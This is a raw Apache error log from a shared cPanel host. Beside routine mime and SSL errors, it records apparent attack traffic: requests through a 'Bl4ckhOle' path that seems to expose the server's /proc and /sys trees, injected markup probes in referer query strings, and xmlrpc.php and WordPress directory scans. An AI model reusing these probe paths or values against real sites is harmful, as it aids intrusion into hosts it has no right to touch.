[Fri Jul 17 10:07:58.269865 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.369680 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.369802 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.369866 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.372425 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.372784 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.372839 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.372879 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.373042 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.373112 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.373146 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.373299 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.373336 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.373494 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.373531 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.373564 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.374017 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.374208 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.374274 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.374308 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.374456 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.374485 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.374512 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.374538 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.374564 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.374748 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.374795 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.374832 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.374868 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.375205 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.375251 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.375293 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.375329 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.375379 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.375547 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.375586 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.375621 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.375687 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.375728 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.375763 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.375800 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.375840 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.375873 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.472937 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.473016 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.473037 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.473215 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.473375 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.473394 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.473411 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.473496 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.473527 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.473544 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.473629 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.473685 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.473817 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.473838 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.473855 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.474093 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.474185 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.474216 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.474233 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.474318 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.474346 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.474363 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.474380 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.474396 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.474492 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.474510 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.474538 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.474555 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.474740 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.474760 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.474780 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.474797 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.474813 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.474901 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.474919 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.474935 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.474951 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.474968 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.474984 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.475000 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.475017 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.475033 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.976030 2026] [autoindex:error] [pid 2063889:tid 2063889] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-includes/Text/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:08:01.408032 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:44506] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:08:01.614085 2026] [autoindex:error] [pid 2029579:tid 2029579] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-content/uploads/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:08:02.675766 2026] [ssl:error] [pid 2068138:tid 2068138] (70014)End of file found: [client 66.85.158.91:44558] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:08:04.332253 2026] [security2:error] [pid 2065297:tid 2065297] [client 47.82.15.58:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-global": Permission denied [hostname "ksoft.web.lk"] [uri "/daph/daph/node_modules/@fortawesome/fontawesome-free/svgs/solid/laptop.svg"] [unique_id "almxrIQPslXM9Iu5soRsMwAAAAg"]
[Fri Jul 17 10:08:04.332284 2026] [security2:error] [pid 2065297:tid 2065297] [client 47.82.15.58:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-ip": Permission denied [hostname "ksoft.web.lk"] [uri "/daph/daph/node_modules/@fortawesome/fontawesome-free/svgs/solid/laptop.svg"] [unique_id "almxrIQPslXM9Iu5soRsMwAAAAg"]
[Fri Jul 17 10:08:05.288963 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:44684] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:08:05.905078 2026] [security2:error] [pid 2063441:tid 2063441] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almxrdKHXJzatLSGO6ItSwAAABU"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:08:05.905144 2026] [security2:error] [pid 2063441:tid 2063441] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almxrdKHXJzatLSGO6ItSwAAABU"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:08:08.685827 2026] [ssl:error] [pid 2068143:tid 2068143] (70014)End of file found: [client 66.85.158.91:44842] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:08:09.381165 2026] [ssl:error] [pid 2068138:tid 2068138] (70014)End of file found: [client 66.85.158.91:44862] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:08:10.386945 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:44906] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:08:12.002342 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:59480] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:08:12.681700 2026] [core:error] [pid 2063883:tid 2063883] (13)Permission denied: [client 57.141.18.85:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory100/subsystem/devices/memory75/node0/memory106/node0/memory64/subsystem/uevent
[Fri Jul 17 10:08:13.400273 2026] [ssl:error] [pid 2063895:tid 2063895] (70014)End of file found: [client 66.85.158.91:59524] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:08:14.062253 2026] [ssl:error] [pid 2065293:tid 2065293] (70014)End of file found: [client 66.85.158.91:59574] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:08:16.039682 2026] [security2:error] [pid 2039911:tid 2039911] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almxuJBVIrrUwtEhdafd9QAAAAU"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 10:08:16.039724 2026] [security2:error] [pid 2039911:tid 2039911] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almxuJBVIrrUwtEhdafd9QAAAAU"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 10:08:19.068996 2026] [ssl:error] [pid 2068138:tid 2068138] (70014)End of file found: [client 66.85.158.91:59822] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:08:20.272202 2026] [security2:error] [pid 2030804:tid 2030804] [client 2401:4900:1c5c:4df3:14ba:b76:9bda:52ab:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "stanthonys.biz"] [uri "/xmlrpc.php"] [unique_id "almxu4e39YUk0SgV8AVHJwAAABE"]
[Fri Jul 17 10:08:20.272243 2026] [security2:error] [pid 2030804:tid 2030804] [client 2401:4900:1c5c:4df3:14ba:b76:9bda:52ab:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "stanthonys.biz"] [uri "/xmlrpc.php"] [unique_id "almxu4e39YUk0SgV8AVHJwAAABE"]
[Fri Jul 17 10:08:20.914243 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:20.918019 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:20.933425 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:21.031937 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:21.069446 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:21.172149 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:21.271506 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:21.372294 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:21.473053 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:21.904500 2026] [security2:error] [pid 2065297:tid 2065297] [client 57.141.18.30:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory119/node0/memory65/node0/memory113/node0/memory58/"] [unique_id "almxvYQPslXM9Iu5soRsPwAAAAg"]
[Fri Jul 17 10:08:21.904549 2026] [security2:error] [pid 2065297:tid 2065297] [client 57.141.18.30:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory119/node0/memory65/node0/memory113/node0/memory58/"] [unique_id "almxvYQPslXM9Iu5soRsPwAAAAg"]
[Fri Jul 17 10:08:22.443767 2026] [security2:error] [pid 2047046:tid 2047046] [client 20.226.66.230:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "rehanseo.online"] [uri "/index.php"] [unique_id "almxvU_0b3nWp8txtSDKLgAAAA0"]
[Fri Jul 17 10:08:22.443801 2026] [security2:error] [pid 2047046:tid 2047046] [client 20.226.66.230:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "rehanseo.online"] [uri "/index.php"] [unique_id "almxvU_0b3nWp8txtSDKLgAAAA0"]
[Fri Jul 17 10:08:24.479061 2026] [security2:error] [pid 2018768:tid 2018768] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almxwFCBpfuYyhJ140vfugAAAB4"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:08:24.479093 2026] [security2:error] [pid 2018768:tid 2018768] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almxwFCBpfuYyhJ140vfugAAAB4"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:08:24.568665 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:51000] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:08:24.848441 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:24.980244 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:25.067733 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:25.172445 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:25.259109 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:25.372023 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:25.461518 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:25.562969 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:30.627564 2026] [ssl:error] [pid 2068143:tid 2068143] (70014)End of file found: [client 66.85.158.91:51280] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:08:32.622311 2026] [ssl:error] [pid 2063895:tid 2063895] (70014)End of file found: [client 66.85.158.91:49110] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:08:35.337813 2026] [ssl:error] [pid 2068138:tid 2068138] (70014)End of file found: [client 66.85.158.91:49378] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:08:35.666369 2026] [autoindex:error] [pid 2064883:tid 2064883] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-includes/blocks/post-comments-form/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:08:36.951403 2026] [autoindex:error] [pid 2065293:tid 2065293] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-admin/js/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:08:37.038453 2026] [cgi:error] [pid 2030804:tid 2030804] [client 216.73.216.125:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden, referer: https://yashiholdings.com/robots.txt
[Fri Jul 17 10:08:37.038548 2026] [cgi:error] [pid 2030804:tid 2030804] [client 216.73.216.125:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157., referer: https://yashiholdings.com/robots.txt
[Fri Jul 17 10:08:37.321854 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:49456] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:08:38.170526 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:49504] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:08:42.670910 2026] [ssl:error] [pid 2065297:tid 2065297] (70014)End of file found: [client 66.85.158.91:40664] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:08:43.541470 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:43.598875 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:43.881447 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:43.883282 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:43.914012 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:43.996698 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:44.035883 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:45.330073 2026] [autoindex:error] [pid 2030804:tid 2030804] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-admin/css/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:08:45.416407 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:45.431614 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:45.634194 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:45.659612 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:45.695781 2026] [ssl:error] [pid 2063889:tid 2063889] (70014)End of file found: [client 66.85.158.91:40804] AH02013: coalesce failed to read from data bucket
